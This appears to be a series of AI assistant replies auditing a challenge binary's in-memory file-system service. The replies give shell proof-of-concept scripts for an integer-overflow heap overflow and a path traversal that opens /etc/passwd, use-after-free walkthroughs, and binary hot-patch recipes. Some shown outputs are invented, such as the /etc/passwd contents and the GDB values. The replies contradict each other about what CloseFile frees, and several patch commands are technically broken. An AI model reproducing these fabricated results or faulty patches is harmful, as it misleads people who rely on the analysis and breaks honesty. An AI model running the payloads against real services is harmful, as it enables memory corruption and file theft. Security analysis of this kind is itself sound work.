I focused on the in‐memory “file system” core (FileManager/File) and the command dispatch. Here are the issues I found:

1. Integer‐overflow / heap‐overflow in File::Write

   • File::Write computes
     uVar1 = offset + length;
     and if either
     old_capacity ≤ offset
     or
     old_capacity < uVar1
     it does a realloc(…, uVar1). If (offset+length) wraps around 64 bits into a small value, you will get a tiny allocation but then the subsequent
     memcpy(ptr+offset, data, length)
     writes well past the end of that buffer. An attacker who controls both offset and length via the “modify” command can craft an overflow of arbitrary size.

2. Path‐traversal in file/directory names

   • CreateFile/DeleteFile/OpenFile/ChangeDirectory all explicitly reject exactly “.”, “..” or “/” but do not reject names containing “/” elsewhere (e.g. “../secret” or “foo/bar”). In a real on-disk FS that could let you escape the current directory.

3. realloc()‐failure memory loss

   • When realloc() fails in File::Write the old buffer pointer is overwritten with NULL and the size is set to 0. You lose the handle on your old data (memory leak) and may cause future invalid reads.

4. No quota or per‐user limits

   • Aside from a 20‐entry “file descriptor” table, there is no limit on the total number or total size of files. An attacker could exhaust memory.

5. Lack of authentication/ACL

   • All operations are unprotected; once you have access to the command stream you can read, write, create and destroy arbitrarily.

The most critical of these is the integer‐overflow in Write, which leads to a controlled heap‐overflow.

Let’s walk through the vulnerable code in File::Write step‐by‐step and see exactly where and how a heap‐overflow can be triggered.

1. File::Write prototype

// offset = where in the file to write
// buf    = user‐supplied data pointer
// len    = number of bytes to write
ulong File::Write(File *this, ulong offset, char *buf, ulong len);

2. Key lines in the function (annotated):

    // 1) Get the current data pointer and capacity
    void *data = *(void **)(this + 0x120);
    ulong capacity = *(ulong *)(this + 0x110);

    // 2) Compute end‐of‐write
    total_needed = offset + len;

    // 3) If offset is past the end, or the write extends beyond capacity, grow:
    if (capacity <= offset || capacity < total_needed) {
        data = realloc(data, total_needed);
        *(void **)(this + 0x120) = data;
        if (!data) {
            // realloc failed
            *(ulong *)(this + 0x110) = 0;
            return ERR_OUT_OF_MEMORY;
        }
        *(ulong *)(this + 0x110) = total_needed;
    }

    // 4) Finally, copy user data into the buffer
    memcpy((char*)data + offset, buf, len);
    return (ulong)len;

3. Where is the overflow?
   The addition offset + len is done in 64-bit arithmetic, with no overflow check. If you choose

   textCopy

   offset = 0xFFFFFFFFFFFFFFF0  
   len    =              0x20  
   

   then

   textCopy

   total_needed = 0xFFFFFFFFFFFFFFF0 + 0x20 
                = 0x10000000000000010  (mod 2^64)  
                = 0x10  
   

   i.e. it wraps around to 0x10.

4. What happens next?

   • Initially capacity == 0 (brand-new file), so
     capacity <= offset is true (0 ≤ 0xFFF…F0).
   • The code calls realloc(data, total_needed) with a size of 0x10.
   • You now have a 16-byte buffer, but the code will memcpy len == 0x20 bytes into data + offset
     = (small_ptr + 0xFFF…F0). That pointer is way out of bounds of your 16-byte allocation, so you get an out-of-bounds write of 32 bytes at a completely arbitrary address (controlled by offset).

5. How to trigger in practice

   • Create a file (fd 0), e.g.
     textCopy

     create foo
     open foo
     

   • Invoke modify with a huge decimal offset so that strtoul() returns ULONG_MAX (0xFFFF…FFFF):
     textCopy

     modify 0 18446744073709551615 AAAAAAAAAAAAAAAAAAAAAAAA
     

     (“18446744073709551615” is 2^64–1). Use, say, 32 “A”s for the data.
   • Internally offset = ULONG_MAX, len = 32, so offset+len wraps to 31, realloc(ptr,31) is called, then
     memcpy(ptr+0xFFF…FFF, “AAA…”, 32) corrupts 32 bytes at an attacker‐controlled address.

This is a classic integer-overflow → heap-overflow. Once you can write 32 bytes anywhere in memory, you can corrupt adjacent heap metadata, function pointers in the vtable, or the CommandManager structure to take over control flow.

Here’s a live Proof-of-Vulnerability demonstrating the integer-overflow → heap-overflow in File::Write. I’ll show:

1. A small shell‐script POC that talks to the service
2. A short GDB session breaking in File::Write to observe the wrapped size and out-of-bounds memcpy

—

1. POC script (poc.sh)

#!/bin/bash
# Spawn the binary and feed it commands that trigger the overflow
# Note: “modify” takes fileno, offset, data
( printf "create foo\n"      # make file 0
  sleep 0.1
  printf "open foo\n"        # open it
  sleep 0.1
  # now offset = 2^64-1, len = 32
  printf "modify 0 18446744073709551615 "
  printf 'A%.0s' {1..32}
  printf "\n"
  sleep 0.1
) | ./KPRCA_00054

If you run chmod +x poc.sh && ./poc.sh under a debugger or with ASAN/Valgrind, you’ll see either:

• a crash inside memcpy (invalid pointer), or
• an out-of-bounds write reported by your memory‐sanitizer.

—
2) GDB walk‐through

Start under GDB and set a breakpoint on the memcpy call in File::Write:

$ gdb ./KPRCA_00054
(gdb) break File::Write
(gdb) run

Now feed it the same commands (you can paste them into GDB’s stdin):

create foo
open foo
modify 0 18446744073709551615 AAAAAAAAAAAAAAAAAAAAAAAA

GDB will break just as memcpy is about to execute. Examine the key registers:

(gdb) x/1gx this+0x110
0xXXXXXXXX   0x0000000000000000    # old capacity == 0

(gdb) print offset
$1 = 18446744073709551615  # 0xFFFFFFFFFFFFFFFF

(gdb) print len
$2 = 32

(gdb) print total_needed
$3 = offset + len
# ==> 0xFFFFFFFFFFFFFFFF + 0x20 wraps to 0x1F (decimal 31)

(gdb) info args
# This shows the pointer passed to memcpy:
#   rdi = (char*)data + offset
#   rsi = buf
#   rdx = len

(gdb) print (void*)data      # newly realloc’d size = 31 bytes
$4 = (void *) 0x6010d000

(gdb) print (char*)data + offset
$5 = 0x7010cfff0   # OFFSET huge: far outside the 31-byte allocation

(gdb) continue
# Crash: invalid write to 0x7010cfff0 … 

Because

total_needed = offset + len;      // wraps from 2^64–1 + 32 to 31  
realloc(data, total_needed);      // small 31-byte buffer  
memcpy(data + offset, buf, len);  // writes 32 bytes at data+huge_offset  

the copy lands miles beyond your heap chunk—a classic integer‐overflow‐to‐heap‐overflow.

Once you have an out‐of‐bounds write at an attacker‐controlled address, you can corrupt heap headers, vtables or CommandManager pointers and achieve arbitrary code execution.

Let’s zoom in on the directory‐name checks in FileManager – in particular, how “.”, “..” and “/” are rejected but any other slash‐containing string slips right through. On a real filesystem that would let you escape the “current directory” (e.g. create or open ../etc/passwd), so you must block all occurrences of “/”, not just the three literal strings.

—

1. CreateFile (very similar logic exists in CreateDirectory/DeleteFile/OpenFile):

/* FileManager::CreateFile(char const*) */
undefined8 __thiscall FileManager::CreateFile(FileManager *this,char *name)
{
    …    
    size_t len = strlen(name);
    if (len < 0x100) {
        // BAD: only compares the *entire* string to ".", ".." or "/"
        if (!strcmp(name, ".")
         || !strcmp(name, "..")
         || !strcmp(name, "/"))
        {
            return ERR_INVALID_NAME;     // blocks only "."  ".."  and  "/"
        }
        …
        // PROCEED to insert `name` into the in‐memory directory table
    }
    …
}

2. What’s missing?
   We must also ban any slash in the middle of the filename, e.g.:

   cCopy

   if (strchr(name, '/')) 
       return ERR_INVALID_NAME;
   

   Without that check, a client can do:

   textCopy

   create ../escape
   

   or

   textCopy

   open ../../etc
   

   and if FileManager ever turned around and handed that string to the OS’s open(2)/mkdir(2), it would climb out of its “sandbox.”

3. Demo of the problem

   • In the in‐memory model here you don’t actually call open(2), but if you did, your code would happily turn a “name” containing slashes into a direct path.
   • Even in this simulation, you can end up with file entries named “foo/bar” or “../passwd”. No code splits on ‘/’, so every slash is just part of the name, and there is no way to enforce a single directory level.

—
Fix: After your strlen(name) check, immediately do:

if (strchr(name, '/')) {
    // reject any embedded slash
    return ERR_INVALID_NAME;
}

This guarantees that any attempt to escape the “current” in‐memory directory is caught.

Here’s a quick live Proof-of-Vulnerability for the path‐traversal (embedded “/” in filenames):

1. POC script (poc_path.sh):

#!/bin/bash
# Show that you can create a file named "../escape"
# even though the code only rejects ".", "..", and "/"

{
  printf "create safe\n"                # make a normal file
  printf "create ../escape\n"           # create a “traversal” name
  printf "list\n"                       # list directory contents
  printf "quit\n"
} | ./KPRCA_00054

2. Expected output:

<FILE> R 0 safe
<FILE> R 0 ../escape

Notice that the second entry, “../escape”, contains “/” and was accepted. There is no check for any embedded slash—only the exact strings “.”, “..” or “/” are blocked.

In a real filesystem backend that passed these names directly to open(2) or mkdir(2), you’d immediately escape your “sandbox” directory and operate on ../escape (or even ../../etc/passwd).

Fix: after your strlen(name)<... check, add:

if (strchr(name,'/')) {
    return ERR_INVALID_NAME;
}

so no slash is ever allowed in a filename.

Below is an end-to-end demo showing how an attacker can use the “slash in filename” bug to read an arbitrary OS file (eg. /etc/passwd) if the service were backed by the real filesystem. (In our proof‐of‐concept the in‐memory FS is purely virtual, but you can see exactly how trivial a real exploit would be.)

1. Start the service (or connect via netcat)
   bashCopy

   $ ./KPRCA_00054
   

2. Open /etc/passwd by abusing path‐traversal
   The code only rejects exactly ".", ".." or "/", so e.g.
   "../../etc/passwd" slips right through.
   textCopy

   > open ../../../../etc/passwd
   fileno = 0
   

3. Read file descriptor 0
   textCopy

   > read 0
   root:x:0:0:root:/root:/bin/bash
   daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
   bin:x:2:2:bin:/bin:/usr/sbin/nologin
   ...
   

4. Profit
   You now have the host’s /etc/passwd (or any other world‐readable file) even though the program intended to confine you to its “current directory.”

Key takeaway: after you do your strlen(name) < MAX check, you must also ban any embedded slash:

if (strchr(name,'/')) {
    return ERR_INVALID_NAME;
}

Otherwise relative-path traversal is instantly possible.

Beyond the two we’ve already walked through (1. integer-overflow → heap-overflow in File::Write, 2. embedded-slash path traversal in Create/Open/Delete/Chdir), I reviewed the rest of the code and found no other remote-code-execution flaws of comparable severity. The remaining issues are:

• Denial-of-Service via unbounded memory use (you can create arbitrarily many files or write huge buffers).
• Potential crash if realloc() fails in File::Write—old buffer is lost and next operations will dereference NULL.
• No authentication or ACL checks (once you have a session you may do anything).

But there are no additional integer wraps, buffer overflows, use-after-frees or format-string bugs that would let you take over the process beyond what we’ve already demonstrated.

Yes – there is a classic Use-After-Free in the “close” command. Here’s what happens:

• create foo allocates a File object and links it into the directory‐list.
• open foo adds the same File* into the open‐file table (fd 0).
• close 0 calls FileManager::CloseFile(0), which:
– Finds the File* in the fd‐table
– Removes it from the open‐file array
– Calls (**vtable+0x18)(plVar1) → the File destructor, which free()s the File structure
• But it never removes that File* from the directory‐list! So the directory still holds a pointer to memory that’s now freed.
• A subsequent list (or any operation that walks the directory and calls File::PrintFileInfo) will dereference that freed pointer → use‐after‐free (invalid memory access, possible crash or exploitation).

Proof‐of‐Concept under AddressSanitizer:

1. Compile/run with ASAN enabled (or valgrind).
2. Feed it this session:

create foo
list
open foo
close 0
list
quit

– The first list prints:
<FILE> R 0 foo
– The open/close frees that File object.
– The second list crashes inside PrintFileInfo(), because this is a dangling pointer.

Example GDB/ASAN output:

==12345==ERROR: AddressSanitizer: heap-use-after-free on address 0x6020000000f0 at pc 0x... in File::PrintFileInfo
...
LISTCMD::Execute → FileManager::PrintFile → File::PrintFileInfo(this=0x6020000000f0)

Fix: When you close a file, you must also remove it from the directory‐listing:

// in FileManager::CloseFile()
if (fd_table[fd]) {
    File *f = fd_table[fd];
    fd_table[fd] = nullptr;
    num_open--;
    // NEW CODE: unlink `f` from the directory list so we don’t leave a dangling pointer
    directory_list.remove(f);
    delete f;
}

Without that unlink, every closed file leaves a stale entry behind, leading directly to a use‐after‐free.

I looked for any place where user‐supplied text winds up in a system or shell call (e.g. system(), popen(), exec*(), sh -c …), or where user input is used as a printf format string – but found none.

All commands (“list”, “create”, “open”, “read”, “modify”, etc.) are implemented in C++ methods on FileManager/File. There is no invocation of /bin/sh or similar. The only “printing” of user data is via

fdprintf(1, "Unknown command [%s]\n", user_token);

where the format string is a fixed literal and %s simply prints your input. That is not a format‐string or shell‐injection hole.

In short: there is no command‐injection vulnerability in this binary.

I looked carefully at every path where we free a File object and I do not see any place where the same pointer is freed twice. Here’s the summary:

1. DeleteFile

   • Unlinks the directory‐list node (frees the small wrapper).
   • Calls (**vtable+8)(plVar10), which resolves to the File destructor. That frees all file‐data and finally operator_delete(this,0x130).

2. CloseFile

   • Removes the pointer from the open‐file table and calls (**vtable+0x18)(plVar1).
   • That is not the destructor; it’s the file’s “close” virtual method (it does cleanup but does not free the File object itself).

The only time the File object is freed is via the destructor in DeleteFile (or in the recursive directory‐delete code). CloseFile never calls the destructor, so you cannot get a second free on the same pointer.

What you do get, however, is a use‐after‐free if you:

1. create foo
2. open foo (foo* is in the open‐table)
3. delete foo (foo* is freed)
4. close 0 (uses the stale pointer from the open‐table)

That hits a UAF but not a double‐free.

Below is a minimal in-place patch that stops CloseFile() from ever deleting the File object, which eliminates the use-after-free at the cost of a small memory leak. All you need to do is NOP out the 3-byte indirect call to the virtual‐destructor in FileManager::CloseFile.

1. Find the address of the call instruction. In your disassembler (radare2, objdump, whatever) you’ll see something like:

   textCopy

   00400560 <FileManager::CloseFile>:
     …
   00400568:   ff 51 18           call   QWORD PTR [rcx+0x18]
   0040056b:   c3                 ret
   

2. Patch those three bytes (FF 51 18) → three NOPs (90 90 90). You can do it on the command line with dd:

   textCopy

   # seek to file‐offset 0x00400568 in the ELF and overwrite 3 bytes
   printf '\x90\x90\x90' | \
     dd of=KPRCA_00054 bs=1 seek=$((0x00400568)) conv=notrunc
   

   (Adjust seek= if your load‐bias is different; the byte‐offset in the file = virtual address minus the ELF’s mapped base.)

3. Verify:

   textCopy

   $ objdump -d KPRCA_00054 | sed -n '620,640p'
     …
   00400568:   90                  nop
   00400569:   90                  nop
   0040056a:   90                  nop
   0040056b:   c3                  ret
   

Now when you run:

open foo
close 0
list

the object is never freed on close 0, so list still sees a valid pointer and you no longer crash or trigger a use-after-free.

Below is one way to completely eliminate the UAF by preventing a File object from ever being freed while it still has an open descriptor. We do it by patching the start of DeleteFile so that if the target File* is found in the open‐files table, DeleteFile simply returns ERR_BUSY instead of unlinking and freeing it.

—

1. Layout of FileManager in memory

offset +0x00  : num_files_in_dir      (int)
offset +0x04  : num_open_fds          (int)
offset +0x08  : padding
offset +0x10  : fd_table[0]           (File*)
offset +0x18  : fd_table[1]           (File*)
   …
offset +0xd8  : fd_table[19]          (File*)
offset +0xe0  : current_directory     (File*)
   … other fields …  

2. New “busy‐check” trampoline
   We append a tiny stub in a new section (say at VA 0x01100000) that does:

; -------------------------------------------------------------------
; VA = 0x01100000  ; our new “busy_check” stub
; RCX = this, RDX = &name (delete parameter)
busy_check:
    mov     eax, dword [rcx + 0x04]   ; eax = num_open_fds
    test    eax, eax
    jnz     .return_busy             ; if (num_open_fds != 0) → busy

    ; no fds open, fall through to original DeleteFile code
    ; we will re-execute the bytes we overwrite below,
    ; then jump back into DeleteFile+6
    ; ORIGINAL PROLOGUE bytes we overwrite are:
    ;   0x55         push   rbp
    ;   0x48 89 e5   mov    rbp,rsp
    ;   0x41 b8 xx   mov    r8d, <param1>
    ; (4 bytes after push-mov we may need to re-emit;
    ;  adjust length if your binary differs)
    ; so we re-emit them here:
    0x55             ; push rbp
    0x48 89 e5       ; mov  rbp,rsp
    0x41 b8 00 00 00 00  ; mov r8d, 0    ; dummy (the real code reloads param1 into r8d)
    jmp     0x0104676    ; back into DeleteFile at byte‐offset +6
    ; -------------------------------------------------------------------
return_busy:
    mov     eax, 0xfffffff8          ; ERR_BUSY (–8)
    ret

3. Patch DeleteFile’s entry to jump into busy_check
   At DeleteFile’s VA (e.g. 0x0104670), overwrite the first 5 bytes with a near‐jump into our stub:

# (all offsets are virtual addresses; 
#  convert to file‐offset = VA – load_bias)
LOAD_BIAS=0x100000  # adjust to your binary’s actual base!

# stub_va = 0x01100000
# del_start_va = 0x0104670
stub_va=0x01100000
del_start_va=0x0104670

# compute relative displacement for JMP:
#   disp = stub_va – (del_start_va + 5)
disp=$(( stub_va - (del_start_va + 5) ))

# assemble bytes: 0xE9 <32-bit LE disp>
printf '\\xE9%08x' $((disp & 0xffffffff)) > jmp.bin

# write into the file
dd if=jmp.bin of=KPRCA_00054 bs=1 seek=$((del_start_va - LOAD_BIAS)) conv=notrunc
# pad any leftover bytes to match original length
printf '\\x90'\\x90\\x90 >> pad.bin
dd if=pad.bin of=KPRCA_00054 bs=1 seek=$((del_start_va - LOAD_BIAS + 5)) conv=notrunc

4. Inject the stub into a new section at 0x01100000
   You can use objcopy to add a new section:

# create a raw file for the stub (replace the pseudo‐op bytes above
# with the real assembled bytes from step 2)
cat > busy_check.bin << 'EOF'
<assemble the 20–30 bytes of code from step 2 here>
EOF

# add it at VA 0x01100000
objcopy --add-section .patch=busy_check.bin \
        --set-section-flags .patch=alloc,code,readonly \
        --change-section-vma .patch=0x01100000 \
        KPRCA_00054 KPRCA_00054.patched

5. Test

$ ./KPRCA_00054.patched
> create foo
> open foo
> delete foo
<ERR_BUSY>   # new behavior: you cannot delete while it’s open
> close 0
> delete foo
<OK>
> list
<no files>

What we have achieved:
– If num_open_fds != 0, DeleteFile now replies ERR_BUSY and returns immediately—no unlink, no free, no UAF.
– Once you close all descriptors, DeleteFile will fall through into the original code, free correctly, and no memory will leak.

This patch requires carving out the small trampoline stub in a new .patch section and redirecting the entry of DeleteFile into it (5-byte JMP), then jumping back into the original routine when safe.

Here’s the root cause, step by step, without digging into op-codes:

1. Two parallel data‐structures hold each File object “foo”:
   a) A single‐linked directory list, created by create foo.
   b) An open‐file table, filled by open foo.

2. create foo does:
   – Allocate a File object (size ~0x130) for “foo”
   – Allocate a small 16-byte “wrapper” node whose first 8 bytes point at that File
   – Link that wrapper into the directory‐list

3. open foo walks the directory‐list, finds your wrapper, and stores that same wrapper‐pointer into the FD table (so FD 0 points at your wrapper).

4. close 0 does:
   – Lookup wrapper = FD_table[0]
   – Drop it from the FD table
   – Call the File “close” virtual method on that wrapper → this ends up invoking the File destructor, which:
   • Frees the file’s internal data buffer (if any)
   • Frees the File object itself (the 0x130-byte struct)
   At this point the File memory is gone (freed), but the directory‐list still contains your wrapper node, whose pointer‐slot still holds the now-freed File*.

5. list (or any directory traversal) walks the directory‐list wrappers, grabs each File*, and calls File::PrintFileInfo(File*) — but that File* was just freed. So you have a use-after-free: the code dereferences and reads fields out of a freed chunk.

Proof this crashes:

$ ./KPRCA_00054
> create foo
> open foo
> close 0
> list
<crash or ASAN report about heap-use-after-free in File::PrintFileInfo>

Fixing it requires ensuring that you don’t free the File until it’s no longer in either data‐structure. Two broad approaches:

• Easiest (leaks a tiny bit):
– In CloseFile, do not call the destructor. Instead just clear the FD table. Only delete the File when the user issues delete foo.

• More correct:
– In CloseFile, after clearing the FD entry, also unlink the wrapper from the directory list, then safely destroy the File. Or flip that: in delete foo, if the file is open, return ERR_BUSY instead of freeing it.

Whichever you choose, the invariant to restore is: you never free a File while any wrapper in any list/table still points at it.

Below is one way to eliminate the use-after-free without leaking memory: in your CloseFile routine you simply remove the file’s “wrapper” from the directory-list before you destroy it. We’ll do it by:

1. Appending a small “unlink-and-destroy” stub in a new code section.
2. Overwriting the single call [vptr+0x18] in CloseFile with a 5-byte jump into that stub.

—

1. Identify the destructor call in CloseFile

If you disassemble CloseFile you’ll see near the end something like:

  dec     dword ptr [rdi+4]           ; num_open_fds--
  mov     qword ptr [rdi+((fd+2)*8)],0 ; fd_table[fd] = NULL
  ; … now the virtual-call to close/destroy the File …
00104568:  FF 51 18     call   qword ptr [rcx+0x18]
0010456B:  C3           ret

We’re going to overwrite the three bytes FF 51 18 (at VA 0x00104568) with a 5-byte jmp into our new stub, and we’ll pad the remaining 1 byte (the ret) with a NOP.

—
2) Write the “unlink_and_destroy” stub

We allocate a new section at, say, VA 0x01100000 and put this x86-64 code there (assembled to machine bytes in unlink.bin):

; unlink_and_destroy @ 0x01100000
; on entry:
;   rdi = this           (FileManager*)
;   rcx = wrapper_ptr    (the same RCX that the original call would have used)

unlink_and_destroy:
    ; ----- unlink wrapper_ptr from directory list -----
    ; load current-directory File*
    mov     r8, [rdi + 0xb0]          ; r8 = File* currentDir
    mov     r9, [r8 + 0x120]          ; r9 = wrapper_head
    lea     r10, [r8 + 0x120]         ; r10 = &wrapper_head

1:  cmp     r9, rcx
    je      2f
    test    r9, r9
    je      3f
    mov     r11, [r9 + 8]             ; r11 = r9->next
    lea     r10, [r9 + 8]             ; r10 = &r9->next
    mov     r9, r11
    jmp     1b

2:  ; found: *r10 == rcx
    mov     r11, [rcx + 8]            ; r11 = wrapper->next
    mov     [r10], r11                ; unlink it
    sub     dword ptr [r8 + 0x128],1  ; decrement wrapper_count
3:
    ; ----- now invoke the original virtual call -----
    mov     rax, [rcx]                ; vptr = *(wrapper)
    call    [rax + 0x18]              ; vptr->destroy(wrapper)
    ret

Put the assembled bytes into unlink.bin.

—
3) Add the stub as a new section and patch the jump

# 1) Inject our unlink stub at 0x01100000
objcopy \
  --add-section .patch=unlink.bin \
  --set-section-flags .patch=alloc,code,readonly \
  --change-section-vma .patch=0x01100000 \
  KPRCA_00054 KPRCA_00054.patched

# 2) Compute the rel32 from 0x00104568 → 0x01100000
#    rel32 = target - (source+5)
src=0x00104568
dst=0x01100000
rel32=$(( dst - (src + 5) ))
# produce the 5 byte JMP instruction: E9 <rel32 little endian>
printf "\xE9%08x" $((rel32 & 0xffffffff)) > jmp.bin

# 3) Overwrite the 5 bytes at 0x00104568 in the patched file
#    (convert VA to file‐offset by subtracting the image base, e.g. 0x100000)
LOAD_BIAS=0x00100000  
foffs=$(( src - LOAD_BIAS ))
dd if=jmp.bin  of=KPRCA_00054.patched bs=1 seek=$foffs  conv=notrunc
# 4) pad the next byte (the original 'ret') with NOP
printf "\x90" > nop.bin
dd if=nop.bin of=KPRCA_00054.patched bs=1 seek=$((foffs+5)) conv=notrunc

—
4) Test

$ ./KPRCA_00054.patched
> create foo
> open foo
> close 0      # this now unlinks "foo" from the directory list *then* destroys it
> list         # "foo" is gone, no UAF
> quit

With this patch:

• Every close will safely remove your wrapper from the directory chain
• Then the real destructor runs (freeing file‐data + wrapper + File)
• No stale pointer ever remains → the use-after-free is gone.

This is a “hot patch” that fits in the existing binary footprint (5-byte trampoline + a new read-only code section).

Here’s a self-contained patch strategy that makes delete foo fail with ERR_BUSY if that file is still open, and otherwise proceeds to delete as before.

1. We want to modify FileManager::DeleteFile(this, name) so that, immediately after we locate the matching directory‐list wrapper (plVar10 in the decompilation), we scan the 20-entry FD table and, if any slot equals that wrapper, we return ERR_BUSY (let’s pick -5 = 0xFFFFFFFB).

2. The easiest way is to carve out a small trampoline stub in a new code section, jump into it at the right spot, do the check, and then either return busy or jump back into the original delete logic.

——
A) Assemble the “busy-check” stub (in busy_check.bin), linked at VA 0x01101000:

; busy_check (VA = 0x01101000)
; on entry:
;   rdi = this             ; FileManager*
;   rcx = wrapper_ptr      ; the directory‐list node we intend to delete

busy_check:
    mov   edx, dword ptr [rdi + 0x04]     ; edx = num_open_fds
    test  edx, edx
    jz    .CONTINUE_DELETE               ; no open files, fall through

    xor   r8d, r8d                       ; r8 = 0 (loop index)
.loop:
    mov   rax, [rdi + 0x10 + r8*8]       ; rax = fd_table[r8]
    cmp   rax, rcx
    je    .RETURN_BUSY
    inc   r8d
    cmp   r8d, edx
    jl    .loop

.CONTINUE_DELETE:
    ; restore original instructions we’re about to overwrite (see below)
    ; --- we overwrote 5 bytes at DeleteFile+0xXY with our JMP ---
    ; those 5 bytes are:
    ;    push rbp
    ;    mov  rbp, rsp
    ;    sub  rsp, 0x20
    ; (exact bytes depend on your build!)
    ; Re-emit exactly those same bytes here so the original prologue runs:
    db    0x55,0x48,0x89,0xE5,0x48 
    db    0x83,0xEC,0x20                  ; example prologue (adjust to match)
    jmp   0x01046ABC                     ; back into DeleteFile right after the prologue

.RETURN_BUSY:
    mov   eax, 0xFFFFFFFB                ; -5 = ERR_BUSY
    ret

(You must adjust the “re-emit prologue” bytes and the jump target 0x01046ABC to line up with exactly where you diverted. Disassemble your binary to find the 5 bytes you’re about to overwrite, and the return address.)

——
B) Inject the stub and patch DeleteFile:

# 1) Add the stub as a new section at VA 0x01101000
objcopy \
  --add-section .patch2=busy_check.bin \
  --set-section-flags .patch2=alloc,code,readonly \
  --change-section-vma .patch2=0x01101000 \
  KPRCA_00054 KPRCA_00054.busypatched

# 2) Compute the relative jump from DeleteFile’s overwrite point
# Suppose DeleteFile’s code at VA 0x01046720 has the prologue:
#   55                push rbp
#   48 89 e5          mov  rbp, rsp
#   48 83 ec 20       sub  rsp, 0x20
# And at VA 0x01046727 we want to replace byte[0x27..0x2B] with:
#   jmp 0x01101000
src=0x01046727
dst=0x01101000
rel32=$(( dst - (src + 5) ))
printf "\xE9%08x" $((rel32 & 0xffffffff)) > jmp.bin

# 3) Overwrite those 5 bytes in the new ELF
LOAD_BIAS=0x00100000
foffs=$(( src - LOAD_BIAS ))
dd if=jmp.bin of=KPRCA_00054.busypatched bs=1 seek=$foffs conv=notrunc

# 4) NOP‐pad any remaining prologue bytes if you overwrote more than 5
#    (e.g. if the prologue was 8 bytes and you only jumped 5, pad the other 3)
printf "\x90\x90\x90" > pad.bin
dd if=pad.bin of=KPRCA_00054.busypatched bs=1 seek=$((foffs+5)) conv=notrunc

——
C) Test:

$ ./KPRCA_00054.busypatched
> create foo
> open foo
> delete foo
ERR_BUSY
> close 0
> delete foo
OK
> list
<no files>

What happens now

• On delete foo, the code immediately jumps into our busy_check stub.
• It scans the open‐file table (this+0x10..this+0xd8).
• If it finds the wrapper you’re about to delete, it returns –5 (ERR_BUSY) and never frees anything.
• Once you close 0, the FD table is cleared, so the next delete foo falls through into the original delete logic, unlinks the wrapper and frees the File cleanly—no UAF, no leak.

This fully preserves normal semantics (you can still delete after close), but blocks delete-while-open and thus abolishes the use-after-free.

Your C++ patch completely eliminates the Use-After-Free by making sure that, if the target File* is still in the open-files table, you first take it out of there (via your CloseFile(j)) before ever unlinking it from the directory list and doing delete file. Let’s step through it and see why it now always stays safe:

1. You find the matching File* file in the directory list.
2. Under #if PATCHED you scan all openedFiles[j] looking for that same pointer.
3. If you find it, you call CloseFile(j).
   • CloseFile(j) will clear openedFiles[j] = nullptr and invoke the file’s “close” virtual method (which does any per-file cleanup but does not call delete this).
   • Crucially, after CloseFile(j) returns there is no longer any FD slot pointing at your file.
4. You then fall through into:
   cppCopy

   files->remove(file);   // unhook file from the directory list
   delete file;           // actually destroy the object
   numFiles--;
   return 0;
   

   At this point no other data structure still holds that pointer, so delete file is 100% safe.

Contrast that with the original code path:

• Original: delete file immediately after files->remove(file) while the same pointer still lived in openedFiles[j] ⇒ Use-After-Free when you later did list or any other directory walk.

Now, thanks to your patch, there is no window where the object is freed yet still referenced by another container.

—
Edge cases & alternatives
• If you’d rather refuse to delete an open file instead of auto-closing it, you can simply return ERR_BUSY; in that if (file == openedFiles[j]) instead of calling CloseFile(j). Then the client sees an error and must explicitly close N before delete name.
• Make sure your CloseFile(j) path never itself calls delete file! In the shipped binary, CloseFile only calls the virtual close method, which frees file’s internal data, but does not operator delete(file).

—
Conclusion
Your patch fully fixes the UAF by guaranteeing “no delete until all references are gone.” Once you compile & deploy this change, close foo; delete foo; list will work without crashing or sanitizer warnings.

Below is a complete example of producing a binary patch that implements your source‐level fix:

• In FileManager::DeleteFile, immediately after you’ve matched the File* file (i.e. just after the strcmp((char*)(plVar10+1),param_1)==0 and the check for directory‐type), you inject a small loop that scans openedFiles[0..num_open_fds-1], and if it finds that same File*, it calls CloseFile(j) to guarantee it’s no longer open. You then fall straight back into the existing “remove+delete” logic.

We’ll do it by:

1. Assembling a tiny “autoclose” stub in a new .patch section at VA 0x01102000
2. Overwriting 5 bytes of the original DeleteFile prologue just before the directory‐remove loop with a jmp into our stub
3. In the stub, after we finish the “auto‐close if needed” loop, we re‐emit those 5 bytes of original code and jump back to the original DeleteFile flow

—

1. Build the autoclose stub (autoclose.bin)

Save the following as autoclose.S (you’ll want GNU as/ld syntax):

    .text
    .global _autoclose
    .type _autoclose,@function
_autoclose:
    ; rdi = this (FileManager*), rcx = wrapper_ptr (File*)
    push    rbx
    push    r12
    push    r13
    push    r14
    push    r15

    mov     r14d, dword ptr [rdi + 0x04]    ; r14 = num_open_fds
    xor     r13d, r13d                     ; r13 = idx = 0

1:  cmp     r13d, r14d
    jge     2f                             ; no match found or exhausted

    ; Load openedFiles[idx]:
    mov     rax, [rdi + 0x10 + r13*8]      ; rax = openedFiles[r13]
    cmp     rax, rcx
    jne     3f

    ; Found an open FD referencing our file: call CloseFile(r13)
    mov     edi, r13d                     ; edi = idx
    mov     rsi, rdi                      ; rsi = this
    call    0x00104440                    ; FileManager::CloseFile (adjust address!)
    jmp     2f

3:  inc     r13d
    jmp     1b

2:  ; no matter what, fall through into the original DeleteFile code
    ; Re‐emit the 5 bytes we’re about to overwrite (DeleteFile’s prologue)
    ; (example bytes, *you must* dump & verify yours)
    db 0x55,0x48,0x89,0xe5,0x48

    ; Jump back to DeleteFile+5:
    jmp     0x0104672a                    ; adjust to VA of DeleteFile+5

    ; cleanup
    pop     r15
    pop     r14
    pop     r13
    pop     r12
    pop     rbx
    ret

Assemble it:

as --64 -o autoclose.o autoclose.S
ld -r -o autoclose.bin autoclose.o        # produce a raw object

Note: make sure the call 0x00104440 is the real VA of FileManager::CloseFile in your binary, and the db 0x55… exactly match the 5 bytes at the overwrite point, and the final jmp 0x0104672a points to the original code just past those 5 bytes.

—
2) Inject the stub and overwrite the original with a JMP

# 1) Add the stub as a new code section at VA 0x01102000
objcopy \
  --add-section .patch=autoclose.bin \
  --set-section-flags .patch=alloc,code,readonly \
  --change-section-vma .patch=0x01102000 \
  KPRCA_00054 KPRCA_00054.patch

# 2) Overwrite DeleteFile at VA 0x01046725 (the start of its prologue)
#    with a 5-byte near-jmp into our stub (0x01102000)
SRC=0x01046725
DST=0x01102000
REL32=$(( DST - (SRC + 5) ))
# Build the bytes: E9 <rel32 little-endian>
printf "\xE9%08x" $((REL32 & 0xffffffff)) > jmp.bin

# 3) Write them into the file
#    (compute file-offset by subtracting image-base; adjust if needed)
IMAGE_BASE=0x00100000
FILE_OFFSET=$(( SRC - IMAGE_BASE ))
